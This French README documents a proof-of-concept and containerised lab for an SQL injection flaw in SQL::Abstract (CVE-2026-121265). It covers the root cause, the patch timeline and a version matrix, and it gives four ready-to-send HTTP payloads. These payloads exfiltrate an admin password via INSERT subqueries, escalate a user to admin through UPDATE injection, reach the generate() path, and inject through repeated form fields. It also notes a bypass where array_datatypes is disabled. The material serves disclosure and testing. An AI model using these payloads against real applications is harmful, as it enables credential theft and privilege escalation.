
PoC et laboratoire conteneurisé pour CVE-2026-121265, une injection SQL via arrayref dans SQL::Abstract avant 2.000003, avec exfiltration par INSERT/UPDATE, élévation de privilèges et vecteurs generate().
Cause racine : avec l'option array_datatypes désactivée (le comportement par défaut avant la version 2.000002),
SQL::Abstract traite une valeur de colonne de type arrayref comme du SQL littéral dans insert(),
update() et values() : l'élément [0] est inséré dans le texte SQL sans échappement et les
autres deviennent des valeurs de liaison. Un attaquant qui contrôle n'importe quelle valeur de colonne -- par exemple un tableau
JSON dans le corps d'une requête, ou un champ de formulaire répété/multi-valeurs décodé en
arrayref -- obtient une injection SQL non authentifiée dans toute application qui transmet
des données de requête à insert/update. La même faille a survécu au premier cycle de correctifs
dans generate() (et donc dans AUTOLOAD lorsque allow_autoload est activé), ce qui
explique pourquoi l'avis couvre toutes les versions antérieures à 2.000003.
| CVE | CVE-2026-121265 |
| Avis | CPAN Security Group, oss-sec 2026-11-07 |
| CWE | CWE-89 (Injection SQL) |
| Affecté | SQL::Abstract < 2.000003 (1.87, 2.000000, 2.000001, 2.000002, dev 2.000001_01.._05) |
| Corrigé | 2.000003 (generate() corrigé ; 2.000002 corrigeait insert/update/values + inversait la valeur par défaut de array_datatypes mais omettait generate()) |
| Impact | Injection SQL complète : exfiltration de données, élévation de privilèges, altération du schéma |
| Références | https://seclists.org/oss-sec/2026/q4/574 , https://github.com/dbsrgits/sql-abstract |
SQL-Abstract-2.000001, _expand_insert_value() :
if (ref($v) eq 'ARRAY') {
if ($self->{array_datatypes}) {
return +{ -bind => [ $k, $v ] };
}
my ($sql, @bind) = @$v;
$self->_assert_bindval_matches_bindtype(@bind);
return +{ -literal => $v }; # <-- element [0] inlined into the SQL text, unescaped
}
Le même schéma existait dans _expand_update_set_values() et dans
generate() (à la fois la branche hashref "$label = $sql" et la branche arrayref) :
$sqla->update('t', { name => ["x, is_admin = 1"] });
# < 2.000002 default: UPDATE t SET name = x, is_admin = 1
# 2.000002+: UPDATE t SET name = ? (bind: ['x, is_admin = 1'])
$sqla->generate('update t', { name => ["(SELECT password FROM users)"] });
# 2.000002: UPDATE T SET name = (SELECT password FROM users) <-- still vulnerable
# 2.000003: UPDATE T SET name = ? (bind)
Chronologie des correctifs (d'après les Changes 2.000002 / 2.000003) :
2.000001_05 (2026-11-03) : correctif incomplet.2.000002 (2026-11-05) : array_datatypes activé par défaut ; insert() / update() /
values() corrigés. generate() laissé sans traitement.2.000003 (2026-11-06) : generate() (et AUTOLOAD) corrigés ; \[ $sql, @bind ]
devient la forme SQL littérale documentée.Un attaquant atteint la valeur arrayref via n'importe quel décodeur qui en produit une :
{"email": ["(SELECT ...)"]} → arrayref.every_param() / param() en contexte de liste (CGI.pm,
Catalyst, Mojolicious, ...).Labo A/B conteneurisé (podman). Une image par version de SQL::Abstract, plus une
version ARRAY_DATATYPES=0 de 2.000003 pour exercer le contournement.
cve-target (bounded) cve-pocN attacker (bounded, --rm)
image cvelab-target:<ver> same image as runtime + ./poc:/poc
- debian:bookworm-slim perl + Mojo::UserAgent
- SQL::Abstract <ver> built from CPAN src
- DBD::SQLite + Mojolicious
- app.pl JSON API "Corp Portal"
Points de terminaison :
| Point de terminaison | Destination | Utilisé par |
|---|---|---|
POST /api/register | insert() depuis le corps JSON | PoC 1 |
POST /api/register-form | insert() depuis le formulaire (tableau every_param) | PoC 4 |
POST /api/me/update | update() depuis le corps JSON | PoC 2 |
POST /api/save-form | generate() pour construire une clause SET | PoC 3 |
POST /api/login, GET /api/me, GET /api/admin/flag, GET /api/admin/secrets | paramétré | exfiltration / impact |
cd lab
./run_matrix.sh # build + run the full version/config matrix, transcripts -> evidence/
./run_poc.sh all # run PoC 1..4 against the running target
poc/poc1_insert_exfil.pl)POST /api/register
{"username":"poc1_<ts>","email":["(SELECT password FROM users WHERE username='admin')"],"password":"x"}
SQL généré (2.000001) : INSERT INTO users (email, password, username) VALUES (?, ?, (SELECT password FROM users WHERE username='admin')) -- le
résultat de la sous-requête est stocké comme e-mail de l'attaquant et renvoyé dans le profil :
FLAG{adm1n_p4ssw0rd_51337}.
poc/poc2_update_escalate.pl)POST /api/me/update (X-Api-Key: <regular user token>)
{"bio":["'x', is_admin = 1 --"],"email":"..."}
SQL généré : UPDATE users SET bio = 'x', is_admin = 1 --, email = ? WHERE id = ?
Le -- met le reste de l'instruction en commentaire (DBD::SQLite ignore silencieusement
les valeurs de liaison désormais inutilisées). L'utilisateur ordinaire devient admin et lit
GET /api/admin/flag -> FLAG{c0rp_p0rt4l_pr0duct10n_fl4g_2026}.
generate() / AUTOLOAD (poc/poc3_generate_autoload.pl)POST /api/save-form
{"fields":{"bio":["'x', is_admin = 1 --"]}}
Le point de terminaison construit une clause SET avec generate() et l'insère dans un
UPDATE. Fonctionne sur 2.000001 et toujours sur 2.000002, où insert()/update()
étaient déjà corrigés -- preuve directe que 2.000002 reste exploitable via le
dernier chemin corrigé en 2.000003.
poc/poc4_form_array.pl)POST /api/register-form (application/x-www-form-urlencoded)
username=poc4_<ts>&password=x&tags=(SELECT password FROM users WHERE username='admin')
every_param('tags') renvoie une arrayref -> la même primitive que le tableau JSON, sans JSON impliqué.
Transcriptions complètes dans evidence/. Code de sortie 0 = exploitation réussie.
| PoC | 2.000001 | 2.000002 | 2.000003 | 2.000003 + array_datatypes=0 |
|---|---|---|---|---|
| PoC 1 INSERT exfil | ✅ | ❌ | ❌ | ✅ contournement |
| PoC 2 UPDATE escalation | ✅ | ❌ | ❌ | ✅ contournement |
PoC 3 generate() | ✅ | ✅ | ❌ | ✅ contournement |
| PoC 4 form | ✅ | ❌ | ❌ | ✅ contournement |